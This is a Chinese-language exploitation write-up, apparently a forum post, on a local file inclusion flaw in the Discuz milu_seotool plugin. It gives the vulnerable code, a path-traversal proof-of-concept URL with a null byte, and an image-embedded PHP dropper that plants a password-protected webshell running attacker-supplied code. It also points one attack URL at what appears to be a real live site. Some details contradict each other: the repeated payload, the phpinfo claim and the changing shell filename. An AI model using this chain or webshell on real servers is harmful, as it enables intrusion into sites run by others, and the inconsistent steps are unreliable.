Discuz论坛(milu_seotool插件) 本地文件包含漏洞分析 可getshell




milu_seotool(站长工具)插件,漏洞存在于milu_seotool/lib/fuction.global.php中,部分代码


function seo_tpl($args = array()){
    global $_S;
    extract((array)$args);
    sload('C:seoOutput');
    $head_url = '?'.PLUGIN_GO.$_GET['pmod'].'&myac=';
    $myac = $_GET['myac'];
    $tpl = $_GET['tpl'];
    if(empty($myac)) $myac = $default_ac ? $default_ac : $_GET['pmod'].'_run';
    if(function_exists($myac)) $info = $myac();
    $_GET['mytemp'] = $_GET['mytemp'] ? $_GET['mytemp'] : $info['tpl'];
    $mytemp = $_GET['mytemp'] ? $_GET['mytemp'] : $myac;
    if(!$_GET['inajax']){
        $_S['set'] = st_get_pluin_set();
        $submit_pmod = $info['submit_pmod'] ? $info['submit_pmod'] : $_GET['pmod'];
        $submit_action = $info['submit_action'] ? $info['submit_action'] : $myac;
        $info['header'] = seoOutput::pick_header_output();
        if(!$tpl && $tpl!= 'no') include template('milu_seotool:'.$mytemp);



很明显myac变量没过滤,可控,导致文件包含。
    包含robots.txt
     




POC:http://localhost//plugin.php?id=milu_seotool:sitemap&myac=../../robots.txt%00


前台上传图片马,包含以下代码:


<?php file_put_contents("./08sec.php",'<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>');?>



在这有个坑,本以为包含这个图片马 http://www.1818tt.com//plugin.ph ... map&myac=../../   [图片路径]%00


会在根目录生成08sec.php,结果没成功。代码没有执行
    
    最后想了个办法,继续上传图片,包含以下代码

<?php file_put_contents("./08sec.php",'<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>');?>


这个地方include我们之前上传的图片马,成功看到phpinfo ,代码执行了。

    这个是直接包含图片马,如图



继续上传图片,包含之前上传的图片马,效果如下:




成功执行.

  shell地址:http://localhost/08.php。密码c

ps:在新版的站长工具中漏洞已修复,好像是1.5版本修复的。
  
修复了的效果如图:





评论回复